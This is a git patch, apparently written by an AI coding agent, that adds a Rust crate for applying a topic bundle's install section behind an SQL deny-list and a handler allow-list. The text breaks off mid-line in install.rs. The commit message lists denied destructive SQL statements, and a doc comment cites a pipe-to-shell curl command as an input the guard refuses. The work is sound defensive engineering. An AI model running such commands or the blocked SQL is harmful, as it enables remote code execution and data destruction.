From 74babebb5c5f0c17bd4b9012590f0feee3c37af2 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 15:30:17 +0000 Subject: [PATCH 01/11] feat(proof): apply the RLM install section under closed gates MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit P1a of the dynamic-topics install path: the executor behind `proof-admin topic install`. The CLI is the trigger; this is the work. The bundle carries its `rlm` section verbatim and opaque, so no topic behavior is compiled in. That leaves the other half of the boundary: a consumer that applies the parts an install knows how to apply, under two closed gates that run before anything is touched. - `sql_guard`: a topic migration runs in the shared challenge database under a `topic_id` discriminant, so it is deny-listed by object (every `proof_*` object by prefix, the sqlx bookkeeping table, the roles, the catalogues), by statement (`DROP DATABASE`/`SCHEMA`/`ROLE`/ `OWNED`/`EXTENSION`, `GRANT`/`REVOKE`, session and transaction control, `COPY`, maintenance verbs, `SECURITY DEFINER`, server-side file access), and by namespace — every table it touches must be its own (`{topic_id}_*`, `topic_*`, `{topic_id}.…`). Strings, comments, and dollar-quoted function bodies are blanked before scanning, so a denied word in a literal is data and a denied statement cannot be smuggled in by quoting. Function bodies are scanned, not trusted. - `handler`: an RLM section is operator-supplied JSON, not a signed document, so a handler name in it is untrusted input. Only the generic in-guest runner and an operator-baked Harbor adaptor over it may be bound; a path, a URL, or a command line is refused by shape. - `section`: reads only the parts an install applies, strictly. A key inside a part it reads is refused (a step nothing would perform); a part it has never heard of travels, because that is the boundary working. - `install`: migrations (checked as a whole, then applied per-migration in one transaction, resumed from the journal), routes recorded in the new `proof_topic_api` table under the topic's own prefix, the rule vector installed through the store the scoring path reads, and the executor binding recorded — including the `vms_per_submission = 1` pin. `0025_proof_topic_install.sql` adds the journal and the route table, both append-only for `base_app`, so an install that could be edited in place would not be a journal. Tests: 43, including an adversarial deny-list suite that tries quoting, comments, dollar-quoted bodies, case, schema qualification, and `IF NOT EXISTS`, and asserts the legitimate migrations still apply. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- Cargo.lock | 18 + .../migrations/0025_proof_topic_install.sql | 127 ++++ crates/proof-topic-install/Cargo.toml | 28 + crates/proof-topic-install/src/handler.rs | 169 ++++ crates/proof-topic-install/src/install.rs | 680 +++++++++++++++++ crates/proof-topic-install/src/lib.rs | 187 +++++ crates/proof-topic-install/src/section.rs | 619 +++++++++++++++ crates/proof-topic-install/src/sql_guard.rs | 719 ++++++++++++++++++ .../tests/handler_allowlist.rs | 200 +++++ crates/proof-topic-install/tests/sql_guard.rs | 495 ++++++++++++ 10 files changed, 3242 insertions(+) create mode 100644 crates/db/migrations/0025_proof_topic_install.sql create mode 100644 crates/proof-topic-install/Cargo.toml create mode 100644 crates/proof-topic-install/src/handler.rs create mode 100644 crates/proof-topic-install/src/install.rs create mode 100644 crates/proof-topic-install/src/lib.rs create mode 100644 crates/proof-topic-install/src/section.rs create mode 100644 crates/proof-topic-install/src/sql_guard.rs create mode 100644 crates/proof-topic-install/tests/handler_allowlist.rs create mode 100644 crates/proof-topic-install/tests/sql_guard.rs diff --git a/Cargo.lock b/Cargo.lock index 643ba84f2..bb1d4022a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4051,6 +4051,24 @@ dependencies = [ "thiserror 2.0.19", ] +[[package]] +name = "proof-topic-install" +version = "0.1.0" +dependencies = [ + "proof-canon", + "proof-experiment", + "proof-rlm", + "proof-rlm-store", + "proof-task", + "proof-topic-bundle", + "serde", + "serde_json", + "sha2 0.10.9", + "sqlx", + "thiserror 2.0.19", + "tokio", +] + [[package]] name = "proof-vm-agent" version = "0.1.0" diff --git a/crates/db/migrations/0025_proof_topic_install.sql b/crates/db/migrations/0025_proof_topic_install.sql new file mode 100644 index 000000000..819b6fd93 --- /dev/null +++ b/crates/db/migrations/0025_proof_topic_install.sql @@ -0,0 +1,127 @@ +-- Proof topic install: what a topic's RLM install produced, and the topic +-- APIs it exposes. +-- +-- A topic's *identity* stays where it has always been: the operator-signed +-- document in `proof_topic_version` (migration 0020), plus the RLM-authored +-- rule versions in `proof_rule_version`. Nothing here restates a binding +-- that already lives in a signed document, and nothing here is a second +-- topic table. +-- +-- What was missing is where the two things an **RLM install** produces go: +-- +-- 1. `proof_topic_install` — the record of one `proof-admin topic install` +-- run against a topic: which bundle digest was applied, whether the setup +-- reached a green state, the rules version it landed, the migrations it +-- applied, and the executor binding it resolved (handler, runner, custom +-- id, pack pin, submission-format digest, VMs per submission). It is a +-- *journal*, so an operator can see whether a topic was installed at all, +-- from which bundle, and — after a failure — exactly what was applied +-- before it stopped. One row per attempt; the newest row for a topic is +-- its current install state, the way the newest `proof_topic_version` row +-- is the current document. +-- 2. `proof_topic_api` — the dynamic routes a topic registered for itself +-- through its bundle's `rlm.apis` section. The control plane has no +-- compile-time route table a topic could extend, so an install *records* +-- the routes a topic claims and the challenge mux reads this table instead +-- of any compiled-in list. A topic can only claim paths **relative to its +-- own prefix**, which the CHECK below makes structural rather than a +-- convention a future edit could forget: the stored path has no leading +-- slash, so the resolver owns the prefix. +-- +-- Both tables are topic-scoped by a `topic_id` discriminant in the one +-- shared challenge DB, exactly like every other `proof_*` table. There is no +-- per-topic schema. +-- +-- Ownership: neither table may hold a binding that contradicts the signed +-- document. `bundle_digest` is the sha256 of the canonical bundle the +-- operator validated, so a later install of a *different* bundle is visible +-- as a different digest rather than as a silent overwrite. `rules_version` +-- names the `proof_rule_version` row the install landed, so the gate a topic +-- was installed under is replayable. +-- +-- Nothing here weakens a gate: both tables are INSERT + SELECT for `base_app`, +-- with no UPDATE and no DELETE, because a journal that could be edited in +-- place would not be a journal. A re-install appends a row, and idempotency +-- comes from reading the journal (which migrations a topic already applied), +-- not from rewriting history. + +CREATE TABLE proof_topic_install ( + id BIGSERIAL PRIMARY KEY, + topic_id TEXT NOT NULL, + -- `sha256:<64 lowercase hex>` over the canonical bundle. Never invented: + -- the CLI computes it from the bundle it validated. + bundle_digest TEXT NOT NULL, + -- Install target (`staging` | `metal`), for the operator's audit trail. + environment TEXT NOT NULL, + -- Where the install got to. `pending` is written before any RLM call, so + -- a crash mid-install leaves evidence rather than silence; `applied` is + -- written only once every step succeeded. + state TEXT NOT NULL, + -- The rule version the install landed, once the RLM wrote one. + rules_version INTEGER, + -- Rule ids installed, for a readable audit line. + rule_ids JSONB NOT NULL DEFAULT '[]'::jsonb, + -- Names of the migrations this install applied, in order. The journal's + -- union over a topic is what makes a re-install skip work already done. + migrations JSONB NOT NULL DEFAULT '[]'::jsonb, + -- The executor binding this install resolved: handler family, runner id, + -- custom id, pack pin and directory, submission-format and scoring + -- digests, and the VMs-per-submission pin. Recorded so an audit can see + -- what a topic was installed *with*, without a second registry. + binding JSONB NOT NULL DEFAULT '{}'::jsonb, + -- Why the install stopped, when it did. Operator-readable, never a secret. + detail TEXT NOT NULL DEFAULT '', + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + CONSTRAINT proof_topic_install_id_check CHECK (topic_id ~ '^[a-z0-9][a-z0-9-]{1,62}$'), + CONSTRAINT proof_topic_install_digest_check CHECK (bundle_digest ~ '^sha256:[0-9a-f]{64}$'), + CONSTRAINT proof_topic_install_env_check CHECK (environment IN ('staging', 'metal')), + -- The states an install moves through. `pending` → `applied` is the happy + -- path; `failed` is where a refusal lands, with `detail` saying why. + CONSTRAINT proof_topic_install_state_check CHECK (state IN ('pending', 'applied', 'failed')), + CONSTRAINT proof_topic_install_rules_pos CHECK (rules_version IS NULL OR rules_version >= 1) +); + +-- The read is "the newest install for this topic" and, for the operator +-- listing, "newest first across topics". +CREATE INDEX ix_proof_topic_install_topic ON proof_topic_install (topic_id, id DESC); + +CREATE TABLE proof_topic_api ( + topic_id TEXT NOT NULL, + -- Path the topic claims, **relative to its own prefix**. Stored without a + -- leading slash so a row cannot carry an absolute path that escapes the + -- topic's namespace; the resolver builds `{prefix}{path}`. + path TEXT NOT NULL, + -- HTTP method the route answers. `*` is any method. + method TEXT NOT NULL, + -- What the route does, in the topic's own words. Never interpreted. + summary TEXT NOT NULL DEFAULT '', + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + PRIMARY KEY (topic_id, method, path), + CONSTRAINT proof_topic_api_topic_check CHECK (topic_id ~ '^[a-z0-9][a-z0-9-]{1,62}$'), + -- A relative path of plain segments: no leading `/`, no `..`, no empty + -- segment, no query, no backslash. This is what makes "a topic can only + -- claim routes under its own prefix" structural. + CONSTRAINT proof_topic_api_path_check CHECK ( + path <> '' + AND path !~ '^/' + AND path !~ '//' + AND path !~ '/$' + AND path !~ '\.\.' + AND path !~ '[\\?#]' + AND path ~ '^[A-Za-z0-9._~-]+(/[A-Za-z0-9._~-]+)*$' + ), + CONSTRAINT proof_topic_api_method_check CHECK ( + method IN ('GET', 'POST', 'PUT', 'PATCH', 'DELETE', '*') + ) +); + +-- The read is "every route this topic exposes" (the mux) and "every route +-- under this prefix" (resolution). +CREATE INDEX ix_proof_topic_api_topic ON proof_topic_api (topic_id, path); + +-- Append-only for the application role: an install journal and a route claim +-- are facts about what happened, not state to be edited in place. A topic +-- that changes its routes re-installs, which appends. +GRANT SELECT, INSERT ON TABLE proof_topic_install TO base_app; +GRANT USAGE, SELECT ON SEQUENCE proof_topic_install_id_seq TO base_app; +GRANT SELECT, INSERT ON TABLE proof_topic_api TO base_app; diff --git a/crates/proof-topic-install/Cargo.toml b/crates/proof-topic-install/Cargo.toml new file mode 100644 index 000000000..e64573fda --- /dev/null +++ b/crates/proof-topic-install/Cargo.toml @@ -0,0 +1,28 @@ +[package] +name = "proof-topic-install" +description = "Proof topic install executor: applies a bundle's RLM section fail-closed (migrations, APIs, rules, submission format, executor binding) against the shared challenge DB" +version.workspace = true +edition.workspace = true +license.workspace = true +repository.workspace = true +rust-version.workspace = true +publish = false + +[dependencies] +proof-canon = { path = "../proof-canon" } +proof-experiment = { path = "../proof-experiment" } +proof-rlm = { path = "../proof-rlm" } +proof-rlm-store = { path = "../proof-rlm-store" } +proof-task = { path = "../proof-task" } +proof-topic-bundle = { path = "../proof-topic-bundle" } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +sha2 = "0.10" +sqlx = { version = "0.8", features = ["runtime-tokio", "postgres", "json", "macros"] } +thiserror = "2" + +[dev-dependencies] +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } + +[lints] +workspace = true diff --git a/crates/proof-topic-install/src/handler.rs b/crates/proof-topic-install/src/handler.rs new file mode 100644 index 000000000..b71504aed --- /dev/null +++ b/crates/proof-topic-install/src/handler.rs @@ -0,0 +1,169 @@ +//! What a topic's RLM install may name as a run backend. +//! +//! A topic's paid runs are executed by an **operator-installed adaptor**, +//! resolved inside the Firecracker guest from the image the operator baked +//! (`/opt/proof/runners//`). The bundle's RLM section names that +//! runner; the control plane never runs it. +//! +//! The boundary this module enforces is therefore about *which names an +//! install may bind*, not about executing anything: +//! +//! - A topic may select a runner through the **signed document** +//! (`constraints.params.in_guest_benchmark_runner` / `baseline_runner`). +//! That value is already shape-checked by [`proof_experiment`] and is +//! signed, so it is topic data. +//! - A bundle's `rlm` section may also name a **handler** it wants bound. +//! That section is *not* signed — it is operator-supplied JSON handed to +//! the install — so a handler name from it is an **untrusted input**. This +//! module is the allow-list that input is checked against. +//! +//! Two handler families exist, and nothing else may be bound: +//! +//! | Family | What it is | +//! |--------|------------| +//! | [`Handler::VmBacked`] | the generic in-guest runner ([`proof_rlm::VmBackedRunner`]) — the Firecracker path | +//! | [`Handler::Harbor`] | an operator-baked Harbor adaptor, i.e. a `VmBacked` runner whose adaptor directory ships the Harbor harness | +//! +//! The distinction is *documentation and audit*, not a second code path: both +//! resolve to the same `VmBackedRunner` over the topic-VM orchestrator, and +//! neither can be a path, a URL, or a shell command. What the allow-list +//! prevents is an RLM section naming something like +//! `/bin/sh -c 'curl … | sh'`, an absolute path, or an arbitrary binary: those +//! are refused by shape before anything is bound, and the refusal names why. + +use proof_canon::is_custom_id; + +use crate::InstallError; + +/// The handler families an install may bind. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] +pub enum Handler { + /// The generic in-guest runner: an operator-baked adaptor directory in + /// the guest image, selected by the signed document's runner param. + VmBacked, + /// An operator-baked **Harbor** adaptor — the same `VmBacked` runner with + /// the Harbor harness in its adaptor directory. + Harbor, +} + +impl Handler { + /// Wire word. + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::VmBacked => "vm_backed", + Self::Harbor => "harbor", + } + } + + /// Every handler an install may bind, in the order it is reported. + pub const ALL: [Self; 2] = [Self::VmBacked, Self::Harbor]; +} + +/// Handler names an RLM section may use, mapped to their family. +/// +/// The left-hand names are what a bundle writes; the right-hand family is +/// what the install binds. Only these two spellings (plus their documented +/// synonyms) are accepted, and every one of them resolves to a `VmBacked` +/// runner — the allow-list is closed, so a name that is not here is refused +/// rather than defaulted. +pub const ALLOWED_HANDLERS: [(&str, Handler); 4] = [ + ("vm_backed", Handler::VmBacked), + ("vm_backed_runner", Handler::VmBacked), + ("harbor", Handler::Harbor), + ("harbor_trials", Handler::Harbor), +]; + +/// Why a handler name was refused, in the terms the bundle wrote. +#[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] +pub enum HandlerError { + /// The name is not one of [`ALLOWED_HANDLERS`]. + #[error( + "handler {got:?} is not an allowed run backend ({allowed}); a topic's paid runs run \ + inside the Firecracker guest under an operator-baked adaptor, and an install may not \ + bind an arbitrary binary", + allowed = allowed_list() + )] + NotAllowed { + /// What the bundle named. + got: String, + }, + /// The name is shaped like a path, a URL, or a command rather than an id. + #[error( + "handler {got:?} is not an identifier: a handler is a name this build resolves to a \ + baked adaptor, never a path, a URL, or a command line" + )] + NotAnIdentifier { + /// What the bundle named. + got: String, + }, +} + +/// The allow-list as one comma-separated string, for error text. +#[must_use] +pub fn allowed_list() -> String { + ALLOWED_HANDLERS + .iter() + .map(|(name, _)| *name) + .collect::>() + .join(", ") +} + +/// Resolve a handler name from an RLM section. +/// +/// Case and surrounding whitespace are tolerated, matching how the rest of +/// the CLI's operator inputs parse (`InstallEnvironment` does the same). That +/// tolerance cannot widen the allow-list: a path or a command line is still +/// refused as *not an identifier* after folding, because the fold only +/// touches case. +/// +/// # Errors +/// +/// [`HandlerError::NotAnIdentifier`] when the value is not an id at all (a +/// path, a URL, a command line, an empty string), and +/// [`HandlerError::NotAllowed`] when it is a well-formed id that this build +/// does not resolve. +pub fn resolve_handler(name: &str) -> Result { + let got = name.trim().to_ascii_lowercase(); + if got.is_empty() || !is_custom_id(&got) { + return Err(HandlerError::NotAnIdentifier { + got: name.to_owned(), + }); + } + ALLOWED_HANDLERS + .iter() + .find(|(n, _)| *n == got) + .map(|(_, h)| *h) + .ok_or_else(|| HandlerError::NotAllowed { + got: name.trim().to_owned(), + }) +} + +/// Resolve a handler for an install, mapping a refusal onto the install error. +/// +/// # Errors +/// +/// [`InstallError::HandlerNotAllowed`]. +pub fn check_handler(name: &str) -> Result { + resolve_handler(name).map_err(|e| InstallError::HandlerNotAllowed(e.to_string())) +} + +/// The runner id an install binds for a topic. +/// +/// The **signed document** is the source of truth: when it selects an +/// in-guest runner, that is the runner, and a bundle that names a different +/// one is a contradiction (the CLI refuses those before reaching here — see +/// `proof_topic_bundle::BundleError::HostContradictsDocument`). When the +/// document selects none, the install binds the topic's registered custom id +/// through the generic runner, which is what the operator's +/// `PROOF_VM_RUNNER_CUSTOM_IDS` entry already does. +#[must_use] +pub fn bound_runner( + document_runner: Option<&str>, + handler: Option, +) -> (Option, Handler) { + match (document_runner, handler) { + (Some(runner), _) => (Some(runner.to_owned()), Handler::VmBacked), + (None, handler) => (None, handler.unwrap_or(Handler::VmBacked)), + } +} diff --git a/crates/proof-topic-install/src/install.rs b/crates/proof-topic-install/src/install.rs new file mode 100644 index 000000000..bd85725d6 --- /dev/null +++ b/crates/proof-topic-install/src/install.rs @@ -0,0 +1,680 @@ +//! The install engine: apply a bundle's RLM section, fail-closed, resumable, +//! and journaled. +//! +//! One install does four things, in this order, each of which either +//! completes or stops the install with a named reason: +//! +//! 1. **Migrations** — the topic's SQL, applied through the deny-list +//! ([`crate::sql_guard`]). A statement touching a `proof_*` object, a +//! role, or another topic's namespace is refused *before* the first one +//! runs, so a bundle cannot leave half its migrations applied. Resumable +//! by journal: a migration whose name already appears in this topic's +//! install rows is skipped, so a re-run continues rather than repeating. +//! 2. **APIs** — the routes the topic claims, recorded in `proof_topic_api` +//! under the topic's own prefix. The control plane has no compile-time +//! route table a topic could extend, so this table *is* the dynamic route +//! registry; `ON CONFLICT DO NOTHING` makes a re-run idempotent. +//! 3. **Rules** — the topic's rule vector, installed as rule version 1 +//! through the store's own [`RlmStore::put_rules`], so the gate the +//! scoring path reads is the one the install landed. A topic already past +//! version 1 keeps what its RLM wrote. +//! 4. **Executor binding** — the allow-listed handler, the runner the signed +//! document selects, the custom id, the pack pin, the submission-format +//! and scoring digests, and the **VMs-per-submission pin**. Recorded in +//! the journal; never a second registry the scoring path reads *instead of* +//! the signed document. +//! +//! The RLM's own lifecycle (`TopicSetup`: provision → propose_rules → +//! baseline) is driven by the **caller** over the topic-VM orchestrator, +//! because that step talks to a KVM host and holds a lifecycle that outlives +//! one install call. [`InstallReport::setup`] says what the caller did with +//! it, so the journal and the operator output agree. +//! +//! # What an install is not +//! +//! Not a scoring path, and it cannot change a score. It writes the rules the +//! gate reads (through the same store the scoring path uses), records routes, +//! and appends a journal row. It cannot publish a document (the operator's +//! bearer does that), cannot seal a baseline (the operator does that with the +//! RLM's measurement), and cannot move a topic's status. +//! +//! # Fail-closed, and where the topic is left +//! +//! A failure leaves the topic **draft or disabled**: an install never +//! publishes an `open` document, so a failed setup cannot produce a topic +//! miners can submit to. Every failure appends a `failed` journal row naming +//! the step and the reason, so the next attempt and the operator can both see +//! what was applied before it stopped. + +use std::collections::BTreeSet; + +use proof_rlm::{RuleSet, RuleSource}; +use proof_rlm_store::{RlmStore, StoreError}; +use proof_task::{MetricFamily, TopicDocument, TopicStatus}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; + +use crate::handler::{bound_runner, Handler}; +use crate::section::{ApiRoute, SectionPlan, MAX_MIGRATIONS}; +use crate::sql_guard::{check_migration, Statement}; +use crate::InstallError; + +/// VMs one submission may use. **1**, always. +/// +/// A submission is one artefact evaluated once: the topic's RLM inspects it, +/// and either rejects it without spend or runs it in exactly one guest. This +/// constant is the pin the install records; a future slice cannot quietly +/// allow a second concurrent VM per submission without changing this value +/// and the journal rows that carry it. +pub const VMS_PER_SUBMISSION: u32 = 1; + +/// Install states the journal records. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum InstallState { + /// Appended before the first applied step: a crash leaves evidence. + Pending, + /// Every step succeeded. + Applied, + /// A step refused; `detail` says which and why. + Failed, +} + +impl InstallState { + /// Wire word, matching the migration's CHECK. + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::Pending => "pending", + Self::Applied => "applied", + Self::Failed => "failed", + } + } +} + +/// The executor binding an install resolved and recorded. +/// +/// Every field comes from the **signed document** or from the operator's +/// bundle. `vms_per_submission` is the pin ([`VMS_PER_SUBMISSION`]), carried +/// so the journal says what the topic was installed with. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct ExecutorBinding { + /// Handler family the install bound ([`Handler::as_str`]). + pub handler: String, + /// In-guest runner the signed document selects, when it selects one. + #[serde(skip_serializing_if = "Option::is_none")] + pub runner_id: Option, + /// The topic's `metric.custom_id` (empty on non-custom families). + pub custom_id: String, + /// Pack digest the signed document pins, when it pins one. + #[serde(skip_serializing_if = "Option::is_none")] + pub pack_digest: Option, + /// VMs one submission may use. Always [`VMS_PER_SUBMISSION`]. + pub vms_per_submission: u32, + /// Digest of the bundle's `submission_format` part, when it carries one. + #[serde(skip_serializing_if = "Option::is_none")] + pub submission_format_digest: Option, + /// Digest of the bundle's `scoring` part, when it carries one. + #[serde(skip_serializing_if = "Option::is_none")] + pub scoring_digest: Option, +} + +/// One row of the install journal, as the operator reads it. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct InstallRow { + /// Journal row id. + pub id: i64, + /// Topic the install ran against. + pub topic_id: String, + /// `sha256:` digest of the canonical bundle. + pub bundle_digest: String, + /// Install target. + pub environment: String, + /// Where the install got to. + pub state: String, + /// Rule version landed, once one was. + pub rules_version: Option, + /// Rule ids installed. + pub rule_ids: Vec, + /// Migration names applied. + pub migrations: Vec, + /// The executor binding, verbatim. + pub binding: serde_json::Value, + /// Why the install stopped, when it did. + pub detail: String, +} + +/// What the RLM setup step did, as the caller reported it. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(tag = "kind", rename_all = "snake_case")] +pub enum SetupSummary { + /// The setup ran: the RLM proposed rules and measured a baseline. + Baselined { + /// Rule version the RLM wrote. + rules_version: u32, + /// The baseline primary the operator seals next. + baseline_primary: String, + }, + /// The setup ran with `--skip-baseline`: rules were installed, no + /// baseline was measured. + Skipped { + /// Why (the flag). + reason: String, + }, + /// The install did not drive the RLM for this topic. + NotDriven { + /// Why. + reason: String, + }, +} + +/// What one install did, for the CLI to print. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct InstallReport { + /// Topic installed. + pub topic_id: String, + /// Bundle digest applied. + pub bundle_digest: String, + /// Install target. + pub environment: String, + /// Migrations applied by **this** run (already-applied ones are skipped). + pub migrations_applied: Vec, + /// Migrations skipped because the journal shows they were applied. + pub migrations_skipped: Vec, + /// Routes registered (or already present), as `METHOD /path`. + pub apis: Vec, + /// Rule version the topic is on after this run. + pub rules_version: u32, + /// Rule ids in force. + pub rule_ids: Vec, + /// Executor binding recorded. + pub binding: ExecutorBinding, + /// What the RLM setup step did. + pub setup: SetupSummary, + /// The journal row this run appended. + pub journal_id: i64, +} + +/// Everything one install needs, resolved by the caller. +pub struct InstallRequest<'a> { + /// The signed document, verbatim. + pub topic: &'a TopicDocument, + /// The canonical bundle's `sha256:` digest. + pub bundle_digest: String, + /// Install target (`staging` / `metal`). + pub environment: String, + /// The bundle's RLM section, verbatim. + pub rlm_raw: &'a str, + /// Registered custom ids on this host (`PROOF_VM_RUNNER_CUSTOM_IDS`), for + /// the open-custom-topic check. + pub registered_custom: Vec, + /// Stop before the RLM's baseline job. + pub skip_baseline: bool, +} + +/// The install engine: a database to write through, plus the store the +/// scoring path reads. +pub struct Installer<'a> { + /// Pool for the topic's own SQL and the journal. + pub pool: &'a PgPool, + /// The store the scoring path reads (rules land here). + pub store: &'a dyn RlmStore, +} + +impl Installer<'_> { + /// Apply `request` and return what was done. + /// + /// # Errors + /// + /// [`InstallError`]. Every refusal happens **before** the step it + /// refuses: the deny-list runs over every statement of every migration + /// before the first statement executes, the handler allow-list and the + /// custom-id gate run before the binding is recorded, and the route + /// shapes are checked before a row is written. + pub async fn install( + &self, + request: &InstallRequest<'_>, + setup: SetupSummary, + ) -> Result { + let plan = crate::section::read_section(request.rlm_raw)?; + // Check every migration up front: a bundle that would fail on its + // third statement must not leave its first two applied. + let checked = check_all_migrations(&plan, &request.topic.id)?; + let handler = plan.handler.unwrap_or(Handler::VmBacked); + let binding = resolve_binding(request, &plan, handler)?; + + // The `pending` row lands first, so a crash mid-install is visible + // rather than silent. A failure appends its own `failed` row naming + // the step, so the journal says how far the run got. + let pending_id = self + .journal(request, InstallState::Pending, None, &[], &[], &binding, "") + .await?; + match self + .apply_all(request, &plan, &checked, &binding, setup) + .await + { + Ok(report) => Ok(report), + Err(e) => { + let _ = self + .journal( + request, + InstallState::Failed, + None, + &[], + &[], + &binding, + &e.to_string(), + ) + .await; + let _ = pending_id; + Err(e) + } + } + } + + /// Apply migrations, routes, and rules, then journal the result. + async fn apply_all( + &self, + request: &InstallRequest<'_>, + plan: &SectionPlan, + checked: &[(String, Vec)], + binding: &ExecutorBinding, + setup: SetupSummary, + ) -> Result { + let already = self.applied_migrations(&request.topic.id).await?; + let mut applied = Vec::new(); + let mut skipped = Vec::new(); + for (name, statements) in checked { + if already.contains(name) { + skipped.push(name.clone()); + continue; + } + self.run_migration(name, statements).await?; + applied.push(name.clone()); + } + + let apis = self.register_apis(&request.topic.id, &plan.apis).await?; + let rules = self.install_rules(request, plan).await?; + let rule_ids: Vec = rules.rules.iter().map(|r| r.id.clone()).collect(); + + let journal_id = self + .journal( + request, + InstallState::Applied, + Some(rules.version), + &rule_ids, + &applied, + binding, + "", + ) + .await?; + Ok(InstallReport { + topic_id: request.topic.id.clone(), + bundle_digest: request.bundle_digest.clone(), + environment: request.environment.clone(), + migrations_applied: applied, + migrations_skipped: skipped, + apis, + rules_version: rules.version, + rule_ids, + binding: binding.clone(), + setup, + journal_id, + }) + } + + /// Migration names this topic has already applied, from the journal. + /// + /// The union over `pending` and `applied` rows is deliberate: a run that + /// crashed after applying a migration but before journaling `applied` + /// still gets credit for it, so a resume does not re-apply a statement + /// whose `CREATE TABLE` would now fail. + async fn applied_migrations(&self, topic_id: &str) -> Result, InstallError> { + let rows: Vec<(serde_json::Value,)> = sqlx::query_as( + "SELECT migrations FROM proof_topic_install \ + WHERE topic_id = $1 AND state IN ('pending', 'applied')", + ) + .bind(topic_id) + .fetch_all(self.pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + let mut out = BTreeSet::new(); + for (value,) in rows { + if let Some(names) = value.as_array() { + for name in names { + if let Some(s) = name.as_str() { + out.insert(s.to_owned()); + } + } + } + } + Ok(out) + } + + /// Run one migration's statements in one transaction. + /// + /// All-or-nothing per migration: a failure on the third statement of a + /// migration leaves none of that migration applied, so the journal and + /// the database agree about what landed. + async fn run_migration( + &self, + name: &str, + statements: &[Statement], + ) -> Result<(), InstallError> { + let mut tx = self + .pool + .begin() + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + for statement in statements { + sqlx::query(&statement.text) + .execute(&mut *tx) + .await + .map_err(|e| InstallError::MigrationFailed { + name: name.to_owned(), + ordinal: statement.ordinal, + detail: e.to_string(), + })?; + } + tx.commit() + .await + .map_err(|e| InstallError::MigrationFailed { + name: name.to_owned(), + ordinal: 0, + detail: e.to_string(), + })?; + Ok(()) + } + + /// Record the routes a topic claims. + async fn register_apis( + &self, + topic_id: &str, + apis: &[ApiRoute], + ) -> Result, InstallError> { + let mut out = Vec::with_capacity(apis.len()); + for route in apis { + sqlx::query( + "INSERT INTO proof_topic_api (topic_id, path, method, summary) \ + VALUES ($1, $2, $3, $4) ON CONFLICT (topic_id, method, path) DO NOTHING", + ) + .bind(topic_id) + .bind(&route.path) + .bind(&route.method) + .bind(&route.summary) + .execute(self.pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + out.push(format!("{} /{}", route.method, route.path)); + } + Ok(out) + } + + /// Install the section's rule vector as the topic's rule version 1. + /// + /// The **store** decides the version, so a re-run does not double-install: + /// an existing current rule set is returned untouched, which is what keeps + /// a topic whose RLM has already written version 2 from being reset to + /// the bundle's vector. + async fn install_rules( + &self, + request: &InstallRequest<'_>, + plan: &SectionPlan, + ) -> Result { + if let Some(current) = self + .store + .current_rules(&request.topic.id) + .await + .map_err(|e| map_store(&e))? + { + return Ok(current); + } + let rules = if plan.rules.is_empty() { + RuleSet::from_topic(request.topic).map_err(|e| InstallError::Rules(e.to_string()))? + } else { + let set = RuleSet { + topic_id: request.topic.id.clone(), + version: 1, + source: RuleSource::TopicDocument, + rules: plan.rules.clone(), + }; + set.validate() + .map_err(|e| InstallError::Rules(e.to_string()))?; + set + }; + self.store + .put_rules(&rules) + .await + .map_err(|e| map_store(&e))?; + Ok(rules) + } + + /// Append a journal row. + #[allow(clippy::too_many_arguments)] + async fn journal( + &self, + request: &InstallRequest<'_>, + state: InstallState, + rules_version: Option, + rule_ids: &[String], + migrations: &[String], + binding: &ExecutorBinding, + detail: &str, + ) -> Result { + let version = rules_version + .map(i32::try_from) + .transpose() + .map_err(|e| InstallError::Db(format!("rules_version out of range: {e}")))?; + let json = |items: &[String]| { + serde_json::Value::Array( + items + .iter() + .cloned() + .map(serde_json::Value::String) + .collect(), + ) + }; + let id: i64 = sqlx::query_scalar( + "INSERT INTO proof_topic_install \ + (topic_id, bundle_digest, environment, state, rules_version, rule_ids, migrations, \ + binding, detail) \ + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9) RETURNING id", + ) + .bind(&request.topic.id) + .bind(&request.bundle_digest) + .bind(&request.environment) + .bind(state.as_str()) + .bind(version) + .bind(json(rule_ids)) + .bind(json(migrations)) + .bind(serde_json::to_value(binding).map_err(|e| InstallError::Db(e.to_string()))?) + .bind(detail) + .fetch_one(self.pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + Ok(id) + } +} + +/// Resolve the executor binding from the signed document and the section. +/// +/// The **document** is authoritative for the runner and the pack; the section +/// supplies only the handler family, which is allow-listed. The one gate here +/// that is not a shape check is the open-custom-id check: an open custom topic +/// whose id this host does not register answers 503 when a miner submits, so +/// the install refuses rather than recording a binding that cannot score. +/// +/// # Errors +/// +/// [`InstallError::Binding`] for a malformed document binding, +/// [`InstallError::CustomIdNotRegistered`] for an unregistered open custom id. +fn resolve_binding( + request: &InstallRequest<'_>, + plan: &SectionPlan, + handler: Handler, +) -> Result { + let doc_binding = + proof_experiment::ExperimentBinding::from_params(&request.topic.constraints.params) + .map_err(|e| InstallError::Binding(e.to_string()))?; + let doc_runner = doc_binding.as_ref().map(|b| b.runner.clone()); + let (runner_id, handler) = bound_runner(doc_runner.as_deref(), Some(handler)); + let custom_id = request.topic.metric.custom_id.trim().to_owned(); + if request.topic.status == 